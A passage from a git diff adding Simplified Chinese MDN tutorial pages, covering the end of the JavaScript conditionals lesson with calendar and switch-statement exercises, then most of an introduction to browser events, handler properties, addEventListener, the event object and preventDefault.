list.appendChild(listItem); + } +} + +createCalendar(31,'January'); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: css notranslate">.output * { + box-sizing: border-box; +} + +.output ul { + padding-left: 0; +} + +.output li { + display: block; + float: left; + width: 25%; + border: 2px solid white; + padding: 5px; + height: 40px; + background-color: #4A2DB6; + color: white; +} +</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i <= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 1110) }}</p> + +<h2 id="主动学习:更多颜色选择!">主动学习:更多颜色选择!</h2> + +<p><font><font>在这个例子中,您将要采取我们前面看到的三元运算符示例,并将三元运算符转换为一个switch语句,这将允许我们对简单的网站应用更多的选择。</font><font>看看</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select" title="HTML <select>元素表示一个控件,提供一个选项菜单:"><code><select></code></a><font><font>- 这次你会看到它不是两个主题选项,而是五个。</font><font>您需要在</font></font><code>// ADD SWITCH STATEMENT</code><font><font>注释</font><font>下面添加一个switch语句</font><font>:</font></font></p> + +<ul> + <li><font><font>它应该接受</font></font><code>choice</code><font><font>变量作为其输入表达式。</font></font></li> + <li><font><font>对于每种情况,选择应该等于可以选择的可能值之一,即白色,黑色,紫色,黄色或迷幻色。</font></font></li> + <li><font><font>对于每种情况,应运行</font></font><code>update()</code><font><font>函数,并传递两个颜色值,第一个颜色值为背景颜色,第二个颜色值为文本颜色。</font><font>请记住,颜色值是字符串,因此需要用引号括起来。</font></font></li> +</ul> + +<p><font>如果您犯了错误,您可以随时使用“Reset”按钮重置该示例。</font><font>如果真的卡住了,请按“Show solution”查看解决方案。</font></p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><div class="output" style="height: 300px;"> + <label for="theme">Select theme: </label> + <select id="theme"> + <option value="white">White</option> + <option value="black">Black</option> + <option value="purple">Purple</option> + <option value="yellow">Yellow</option> + <option value="psychedelic">Psychedelic</option> + </select> + + <h1>This is my website</h1> +</div> + +<hr> + +<textarea id="code" class="playable-code" style="height: 450px;"> +var select = document.querySelector('select'); +var html = document.querySelector('.output'); + +select.onchange = function() { + var choice = select.value; + + // ADD SWITCH STATEMENT +} + +function update(bgColor, textColor) { + html.style.backgroundColor = bgColor; + html.style.color = textColor; +}</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var select = document.querySelector(\'select\');\nvar html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n var choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 850) }}</p> + +<h2 id="结论">结论</h2> + +<p><font><font>这就是现在您真正需要了解的JavaScript中的条件结构!</font><font>我相信你会理解这些概念,并轻松地通过这些例子; </font><font>如果有什么不明白的,请随时阅读文章,或者</font></font><a href="https://developer.mozilla.org/en-US/Learn#Contact_us"><font><font>联系我们</font></font></a><font><font>寻求帮助。</font></font></p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators"><font><font>比较运算符</font></font></a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Conditional_statements"><font><font>条件声明详细</font></font></a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><font><font>如果...其他参考</font></font></a></li> + <li><font><font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">条件(三元)运算符引用</a></font></font></li> +</ul> + +<p>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</p> diff --git a/files/zh-cn/learn/javascript/building_blocks/events/index.html b/files/zh-cn/learn/javascript/building_blocks/events/index.html new file mode 100644 index 0000000000..605a4efae0 --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/events/index.html @@ -0,0 +1,564 @@ +--- +title: 事件介绍 +slug: Learn/JavaScript/Building_blocks/Events +tags: + - Event + - Guide + - JavaScript + - 事件 + - 事件处理 + - 初学者 +translation_of: Learn/JavaScript/Building_blocks/Events +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">事件是您在编程时系统内发生的动作或者发生的事情,系统响应事件后,如果需要,您可以某种方式对事件做出回应。例如:如果用户在网页上单击一个按钮,您可能想通过显示一个信息框来响应这个动作。在这篇文章中,我们将讨论一些关于事件的重要概念,并且观察它们在浏览器上如何运行。这篇文章不会面面俱到,仅聚焦于您现阶段需要掌握的知识。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本电脑知识, 对HTML和CSS的基本了解,及 <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解事件的基本理论,它们怎么在浏览器上运行的,以及在不同的编程环境下事件有何不同。</td> + </tr> + </tbody> +</table> + +<h2 id="一系列事件">一系列事件</h2> + +<p>就像上面提到的, <strong>事件</strong>是您在编程时系统内发生的动作或者发生的事情——系统会在事件出现时产生或触发某种信号,并且会提供一个自动加载某种动作(列如:运行一些代码)的机制,比如在一个机场,当跑道清理完成,飞机可以起飞时,飞行员会收到一个信号,因此他们开始起飞。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14077/MDN-mozilla-events-runway.png" style="display: block; margin: 0px auto;"></p> + +<p>在 Web 中, 事件在浏览器窗口中被触发并且通常被绑定到窗口内部的特定部分 — 可能是一个元素、一系列元素、被加载到这个窗口的 HTML 代码或者是整个浏览器窗口。举几个可能发生的不同事件:</p> + +<ul> + <li>用户在某个元素上点击鼠标或悬停光标。</li> + <li>用户在键盘中按下某个按键。</li> + <li>用户调整浏览器的大小或者关闭浏览器窗口。</li> + <li>一个网页停止加载。</li> + <li>提交表单。</li> + <li>播放、暂停、关闭视频。</li> + <li>发生错误。</li> +</ul> + +<p>如果您想看看更多其他的事件 ,请移步至MDN的<a href="/en-US/docs/Web/Events">Event reference</a>。</p> + +<p>每个可用的事件都会有一个<strong>事件处理器</strong>,也就是事件触发时会运行的代码块。当我们定义了一个用来回应事件被激发的代码块的时候,我们说我们<strong>注册了一个事件处理器</strong>。注意事件处理器有时候被叫做<strong>事件监听器</strong>——从我们的用意来看这两个名字是相同的,尽管严格地来说这块代码既监听也处理事件。监听器留意事件是否发生,然后处理器就是对事件发生做出的回应。</p> + +<div class="note"> +<p><strong>注:</strong> 网络事件不是 JavaScript 语言的核心——它们被定义成内置于浏览器的 JavaScript APIs。</p> +</div> + +<h3 id="一个简单的例子">一个简单的例子</h3> + +<p>让我们看一个简单的例子。前面您已经见到过很多事件和事件监听器,现在我们概括一下以巩固我们的知识。在接下来的例子中,我们的页面中只有一个 button,按下时,背景会变成随机的一种颜色。</p> + +<pre class="brush: html notranslate"><button>Change color</button></pre> + +<div class="hidden"> +<pre class="brush: css notranslate">button { margin: 10px };</pre> +</div> + +<p>JavaScript代码如下所示:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function random(number) { + return Math.floor(Math.random()*(number+1)); +} + +btn.onclick = function() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<p>我们使用 <code>btn</code> 变量存储 button,并使用了<code>Document.querySelector()</code> 函数。我们也定义了一个返回随机数字的函数。代码第三部分就是事件处理器。<code>btn</code>变量指向 button 元素,在 button 这种对象上可触发一系列的事件,因此也就可以使用事件处理器。我们通过将一个匿名函数(这个赋值函数包括生成随机色并赋值给背景色的代码)赋值给“点击”事件处理器参数,监听“点击”这个事件。</p> + +<p>只要点击事件在<code><button></code>元素上触发,该段代码就会被执行。即每当用户点击它时,都会运行此段代码。</p> + +<p>示例输出如下:</p> + +<p>{{ EmbedLiveSample('A_simple_example', '100%', 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="这不仅应用在网页上">这不仅应用在网页上</h3> + +<p>值得注意的是并不是只有 JavaScript 使用事件——大多的编程语言都有这种机制,并且它们的工作方式不同于 JavaScript。实际上,JavaScript 网页上的事件机制不同于在其他环境中的事件机制。</p> + +<p>比如, <a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Node.js</a> 是一种非常流行的允许开发者使用 JavaScript 来建造网络和服务器端应用的运行环境。<a href="https://nodejs.org/docs/latest-v5.x/api/events.html">Node.js event model</a> 依赖定期监听事件的监听器和定期处理事件的处理器——虽然听起来好像差不多,但是实现两者的代码是非常不同的,Node.js 使用像 on ( ) 这样的函数来注册一个事件监听器,使用 once ( ) 这样函数来注册一个在运行一次之后注销的监听器。 <a href="https://nodejs.org/docs/latest-v5.x/api/http.html#http_event_connect">HTTP connect event docs</a> 提供了很多例子。</p> + +<p>另外一个例子:您可以使用 JavaScript 来开发跨浏览器的插件(使用 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> 开发技术。事件模型和网站的事件模型是相似的,仅有一点点不同——事件监听属性是大驼峰的(如<code>onMessage</code>而不是<code>onmessage</code>),还需要与 <code>addListener</code> 函数结合, 参见 <a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage#Examples">runtime.onMessage page</a> 上的一个例子。</p> + +<p>您现在不需要掌握这些,我们只想表明不同的编程环境下事件机制是不同的,</p> + +<h2 id="使用网页事件的方式">使用网页事件的方式</h2> + +<p>您可以通过多种不同的方法将事件侦听器代码添加到网页,以便在关联的事件被触发时运行它。在本节中,我们将回顾不同的机制,并讨论应该使用哪些机制。</p> + +<h3 id="事件处理器属性">事件处理器属性</h3> + +<p><em>这些是我们的课程中最常见到的代码 - 存在于事件处理程序过程的属性中</em>。回到上面的例子:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +btn.onclick = function() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<p>这个 <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> 是被用在这个情景下的事件处理器的属性,它就像 button 其他的属性(如 <code><a href="/en-US/docs/Web/API/Node/textContent">btn.textContent</a></code>, or <code><a href="/en-US/docs/Web/API/HTMLElement/style">btn.style</a></code>), 但是有一个特别的地方——当您将一些代码赋值给它的时候,只要事件触发代码就会运行。</p> + +<p>您也可以将一个有名字的函数赋值给事件处理参数(正如我们在 <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a> 中看到的),下面的代码也是这样工作的:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +} + +btn.onclick = bgChange;</pre> + +<p>有很多事件处理参数可供选择,我们来做一个实验。</p> + +<p>首先将 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> 复制到本地,然后用浏览器打开。别慌,这只是我们之前已经进行过的一个简单随机颜色的示例的代码复制。将 <code>btn.onclick</code> 依次换成其他值,在浏览器中观察效果。</p> + +<ul> + <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code>及<code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> — 颜色将于按钮被置于焦点或解除焦点时改变(尝试使用Tab移动至按钮上,然后再移开)。这些通常用于显示有关如何在置于焦点时填写表单字段的信息,或者如果表单字段刚刚填入不正确的值,则显示错误消息。</li> + <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ondblclick">btn.ondblclick</a></code> — 颜色将仅于按钮被双击时改变。</li> + <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeypress">window.onkeypress</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">window.onkeydown</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">window.onkeyup</a></code> — 当按钮被按下时颜色会发生改变. <code>keypress</code> 指的是通俗意义上的按下按钮 (按下并松开), 而 <code>keydown</code> 和 <code>keyup</code> 指的是按键动作的一部分,分别指按下和松开. 注意如果你将事件处理器添加到按钮本身,它将不会工作 — 我们只能将它添加到代表整个浏览器窗口的 <a href="/en-US/docs/Web/API/Window">window</a>对象中。</li> + <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> 和 <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> — 颜色将会在鼠标移入按钮上方时发生改变, 或者当它从按钮移出时.</li> +</ul> + +<p>一些事件非常通用,几乎在任何地方都可以用(比如 onclick 几乎可以用在几乎每一个元素上),然而另一些元素就只能在特定场景下使用,比如我们只能在 video 元素上使用 <a href="/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> 。</p> + +<h3 id="行内事件处理器_-_请勿使用">行内事件处理器 - 请勿使用</h3> + +<p>你也许在你的代码中看到过这么一种写法:</p> + +<pre class="brush: html notranslate"><button onclick="bgChange()">Press me</button> +</pre> + +<pre class="brush: js notranslate">function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}</pre> + +<div class="note"> +<p><strong>Note</strong>: 您可以在<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">GitHub</a>上找到这个示例的完整源代码(也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">在线运行</a>).</p> +</div> + +<p>在Web上注册事件处理程序的最早方法是类似于上面所示的<strong>事件处理程序HTML属性</strong>(也称为内联事件处理程序)—属性值实际上是当事件发生时要运行的JavaScript代码。上面的例子中调用一个在{{htmlelement("script")}}元素在同一个页面上,但也可以直接在属性内插入JavaScript,例如:</p> + +<pre class="brush: html notranslate"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> + +<p>你会发现HTML属性等价于对许多事件处理程序的属性;但是,你不应该使用这些 —— 他们被认为是不好的做法。使用一个事件处理属性似乎看起来很简单,如果你只是在做一些非常快的事情,但很快就变得难以管理和效率低下。</p> + +<p>一开始,您不应该混用 HTML 和 JavaScript,因为这样文档很难解析——最好的办法是只在一块地方写 JavaScript 代码。</p> + +<p>即使在单一文件中,内置事件处理器也不是一个好主意。一个按钮看起来还好,但是如果有一百个按钮呢?您得在文件中加上100个属性。这很快就会成为维护人员的噩梦。使用 Java Script,您可以给网页中的 button 都加上事件处理器。就像下面这样:</p> + +<pre class="brush: js notranslate">const buttons = document.querySelectorAll('button'); + +for (let i = 0; i < buttons.length; i++) { + buttons[i].onclick = bgChange; +}</pre> + +<div class="note"> +<p><strong>注释</strong>: 将您的编程逻辑与内容分离也会让您的站点对搜索引擎更加友好。</p> +</div> + +<h3 id="addEventListener_和removeEventListener">addEventListener() 和removeEventListener()</h3> + +<p>新的事件触发机制被定义在 <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a> Specification, 这个细则给浏览器提供了一个函数 — <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>。这个函数和事件处理属性是类似的,但是语法略有不同。我们可以重写上面的随机颜色背景代码:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function bgChange() { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +} + +btn.addEventListener('click', bgChange);</pre> + +<div class="note"> +<p><strong>注释</strong>: 您可以在<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html">Github</a>上找到这个示例的完整源代码(也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html"> 在线运行</a>)。</p> +</div> + +<p><code>在addEventListener()</code> 函数中, 我们具体化了两个参数——我们想要将处理器应用上去的事件名称,和包含我们用来回应事件的函数的代码。注意将这些代码全部放到一个匿名函数中是可行的:</p> + +<pre class="brush: js notranslate">btn.addEventListener('click', function() { + var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + document.body.style.backgroundColor = rndCol; +}); +</pre> + +<p>这个机制带来了一些相较于旧方式的优点。有一个相对应的方法,<code><a href="/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a>,</code>这个方法移除事件监听器。例如,下面的代码将会移除上个代码块中的事件监听器:</p> + +<pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre> + +<p>在这个简单的、小型的项目中可能不是很有用,但是在大型的、复杂的项目中就非常有用了,可以非常高效地清除不用的事件处理器,另外在其他的一些场景中也非常有效——比如您需要在不同环境下运行不同的事件处理器,您只需要恰当地删除或者添加事件处理器即可。</p> + +<p>您也可以给同一个监听器注册多个处理器,下面这种方式不能实现这一点:</p> + +<pre class="brush: js notranslate">myElement.onclick = functionA; +myElement.onclick = functionB;</pre> + +<p>第二行会覆盖第一行,但是下面这种方式就会正常工作了:</p> + +<pre class="brush: js notranslate">myElement.addEventListener('click', functionA); +myElement.addEventListener('click', functionB);</pre> + +<p>当元素被点击时两个函数都会工作:</p> + +<p>此外,该事件机制还提供了许多其他强大的特性和选项。这对于本文来说有点超出范围,但是如果您想要阅读它们,请查看<code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>和<code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>参考页面。</p> + +<h3 id="我该使用哪种机制?">我该使用哪种机制?</h3> + +<p>在三种机制中,您绝对不应该使用HTML事件处理程序属性 - 这些属性已经过时了,而且也是不好的做法,如上所述.</p> + +<p>另外两种是相对可互换的,至少对于简单的用途:</p> + +<ul> + <li>事件处理程序属性功能和选项会更少,但是具有更好的跨浏览器兼容性(在Internet Explorer 8的支持下),您应该从这些开始学起。</li> + <li>DOM Level 2 Events (<code>addEventListener()</code>, etc.) 更强大,但也可以变得更加复杂,并且支持不足(只支持到Internet Explorer 9)。 但是您也应该尝试这个方法,并尽可能地使用它们。</li> +</ul> + +<p>第三种机制(DOM Level 2 Events (<code>addEventListener()</code>, etc.))的主要优点是,如果需要的话,可以使用<code>removeEventListener()</code>删除事件处理程序代码,而且如果有需要,您可以向同一类型的元素添加多个监听器。例如,您可以在一个元素上多次调用<code>addEventListener('click', function() { ... })</code>,并可在第二个参数中指定不同的函数。对于事件处理程序属性来说,这是不可能的,因为后面任何设置的属性都会尝试覆盖较早的属性,例如:</p> + +<pre class="brush: js notranslate">element.onclick = function1; +element.onclick = function2; +etc.</pre> + +<div class="note"> +<p><strong>注解</strong>:如果您在工作中被要求支持比Internet Explorer 8更老的浏览器,那么您可能会遇到困难,因为这些古老的浏览器会使用与现代浏览器不同的事件处理模型。但是不要害怕,大多数 JavaScript 库(例如 jQuery )都内置了能够跨浏览器差异的函数。在你学习 JavaScript 旅程里的这个阶段,不要太担心这个问题。</p> +</div> + +<h2 id="其他事件概念">其他事件概念</h2> + +<p>本节我们将简要介绍一些与事件相关的高级概念。在这一点并不需要完全理解透彻,但它可能有助于你解释一些经常会遇到的代码模式。</p> + +<h3 id="事件对象">事件对象</h3> + +<p>有时候在事件处理函数内部,您可能会看到一个固定指定名称的参数,例如<code>event</code>,<code>evt</code>或简单的<code>e</code>。 这被称为<strong>事件对象</strong>,它被自动传递给事件处理函数,以提供额外的功能和信息。 例如,让我们稍稍重写一遍我们的随机颜色示例:</p> + +<pre class="brush: js notranslate">function bgChange(e) { + const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + e.target.style.backgroundColor = rndCol; + console.log(e); +} + +btn.addEventListener('click', bgChange);</pre> + +<div class="note"> +<p><strong>Note</strong>: 您可以在Github上查看这个示例的 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html">完整代码</a> ,或者在这里查看 <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html">实时演示</a>。</p> +</div> + +<p>在这里,您可以看到我们在函数中包括一个事件对象<code>e</code>,并在函数中设置背景颜色样式在<code>e.target上</code> - 它指的是按钮本身。 事件对象 <code>e</code> 的<code>target</code>属性始终是事件刚刚发生的元素的引用。 所以在这个例子中,我们在按钮上设置一个随机的背景颜色,而不是页面。</p> + +<div class="note"> +<p><strong>Note</strong>: 您可以使用任何您喜欢的名称作为事件对象 - 您只需要选择一个名称,然后可以在事件处理函数中引用它。 开发人员最常使用 e / evt / event,因为它们很简单易记。 坚持标准总是很好。</p> +</div> + +<p>当您要在多个元素上设置相同的事件处理程序时,<code>e.target</code>非常有用,并且在发生事件时对所有元素执行某些操作. 例如,你可能有一组16块方格,当它们被点击时就会消失。用e.target总是能准确选择当前操作的东西(方格)并执行操作让它消失,而不是必须以更困难的方式选择它。在下面的示例中(请参见<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>完整代码;也可以在线运行<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">running live</a>)我们使用JavaScript创建了16个<code><div></code>元素。接着我们使用 <code>document.querySelectorAll()</code>选择全部的元素,然后遍历每一个,为每一个元素都添加一个<code>onclick</code>单击事件,每当它们点击时就会为背景添加一个随机颜色。</p> + +<pre class="brush: js notranslate">const divs = document.querySelectorAll('div'); + +for (let i = 0; i < divs.length; i++) { + divs[i].onclick = function(e) { + e.target.style.backgroundColor = bgChange(); + } +}</pre> + +<p>输出如下(试着点击它-玩的开心):</p> + +<div class="hidden"> +<h6 id="Hidden_example">Hidden example</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Useful event target example</title> + <style> + div { + background-color: red; + height: 100px; + width: 25%; + float: left; + } + </style> + </head> + <body> + <script> + for (let i = 1; i <= 16; i++) { + const myDiv = document.createElement('div'); + document.body.appendChild(myDiv); + } + + function random(number) { + return Math.floor(Math.random()*number); + } + + function bgChange() { + var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; + return rndCol; + } + + const divs = document.querySelectorAll('div'); + + for (let i = 0; i < divs.length; i++) { + divs[i].onclick = function(e) { + e.target.style.backgroundColor = bgChange(); + } + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 400) }}</p> + +<p>你遇到的大多数事件处理器的事件对象都有可用的标准属性和函数(方法)(请参阅完整列表 <code>Event</code> 对象引用 )。然而,一些更高级的处理程序会添加一些专业属性,这些属性包含它们需要运行的额外数据。例如,媒体记录器API有一个<code>dataavailable</code>事件,它会在录制一些音频或视频时触发,并且可以用来做一些事情(例如保存它,或者回放)。对应的<code>ondataavailable</code>处理程序的事件对象有一个可用的数据属性。</p> + +<h3 id="阻止默认行为">阻止默认行为</h3> + +<p>有时,你会遇到一些情况,你希望事件不执行它的默认行为。 最常见的例子是Web表单,例如自定义注册表单。 当你填写详细信息并按提交按钮时,自然行为是将数据提交到服务器上的指定页面进行处理,并将浏览器重定向到某种“成功消息”页面(或 相同的页面,如果另一个没有指定。)</p> + +<p>当用户没有正确提交数据时,麻烦就来了 - 作为开发人员,你希望停止提交信息给服务器,并给他们一个错误提示,告诉他们什么做错了,以及需要做些什么来修正错误。 一些浏览器支持自动的表单数据验证功能,但由于许多浏览器不支持,因此建议你不要依赖这些功能,并实现自己的验证检查。 我们来看一个简单的例子。</p> + +<p>首先,一个简单的HTML表单,需要你填入名(first name)和姓(last name)</p> + +<pre class="brush: html notranslate"><form> + <div> + <label for="fname">First name: </label> + <input id="fname" type="text"> + </div> + <div> + <label for="lname">Last name: </label> + <input id="lname" type="text"> + </div> + <div> + <input id="submit" type="submit"> + </div> +</form> +<p></p></pre> + +<div class="hidden"> +<pre class="brush: css notranslate">div { + margin-bottom: 10px; +} +</pre> +</div> + +<p>这里我们用一个<code>onsubmit</code>事件处理程序(在提交的时候,在一个表单上发起<code>submit</code>事件)来实现一个非常简单的检查,用于测试文本字段是否为空。 如果是,我们在事件对象上调用<code>preventDefault()</code>函数,这样就停止了表单提交,然后在我们表单下面的段落中显示一条错误消息,告诉用户什么是错误的:</p> + +<pre class="brush: js notranslate">const form = document.querySelector('form'); +const fname = document.getElementById('fname'); +const lname = document.getElementById('lname'); +const submit = document.getElementById('submit'); +const para = document.querySelector('p'); + +form.onsubmit = function(e) { + if (fname.value === '' || lname.value === '') { + e.preventDefault(); + para.textContent = 'You need to fill in both names!'; + } +}</pre> + +<p>显然,这是一种非常弱的表单验证——例如,用户输入空格或数字提交表单,表单验证并不会阻止用户提交——这不是我们例子想要达到的目的。输出如下:</p> + +<p>{{ EmbedLiveSample('Preventing_default_behaviour', '100%', 140) }}</p> + +<div class="note"> +<p><strong>Note</strong>: 查看完整的源代码 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/preventdefault-validation.html">preventdefault-validation.html</a> (也可以 <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/preventdefault-validation.html">running live</a> )</p> +</div> + +<h3 id="事件冒泡及捕获">事件冒泡及捕获</h3> + +<p>最后即将介绍的这个主题你常常不会深究,但如果你不理解这个主题,就会十分痛苦。事件冒泡和捕捉是两种机制,主要描述当在一个元素上有两个相同类型的事件处理器被激活会发生什么。为了容易理解,我们来看一个例子——在新标签页打开这个<a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> 例子(在这里可以查看源码 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">source code</a>)。也可以在下面查看:</p> + +<div class="hidden"> +<h6 id="Hidden_video_example">Hidden video example</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Show video box example</title> + <style> + div { + position: absolute; + top: 50%; + transform: translate(-50%,-50%); + width: 480px; + height: 380px; + border-radius: 10px; + background-color: #eee; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.1)); + } + + .hidden { + left: -50%; + } + + .showing { + left: 50%; + } + + div video { + display: block; + width: 400px; + margin: 40px auto; + } + + </style> + </head> + <body> + <button>Display video</button> + + <div class="hidden"> + <video> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4"> + <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> + </div> + + <script> + + const btn = document.querySelector('button'); + const videoBox = document.querySelector('div'); + const video = document.querySelector('video'); + + btn.onclick = function() { + displayVideo(); + } + + function displayVideo() { + if(videoBox.getAttribute('class') === 'hidden') { + videoBox.setAttribute('class','showing'); + } + } + + videoBox.addEventListener('click',function() { + videoBox.setAttribute('class','hidden'); + }); + + video.addEventListener('click',function() { + video.play(); + }); + + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_video_example', '100%', 500) }}</p> + +<p>这是一个非常简单的例子,它显示和隐藏一个包含<code><video></code>元素的<code><div></code>元素:</p> + +<pre class="brush: html notranslate"><button>Display video</button> + +<div class="hidden"> + <video> + <source src="rabbit320.mp4" type="video/mp4"> + <source 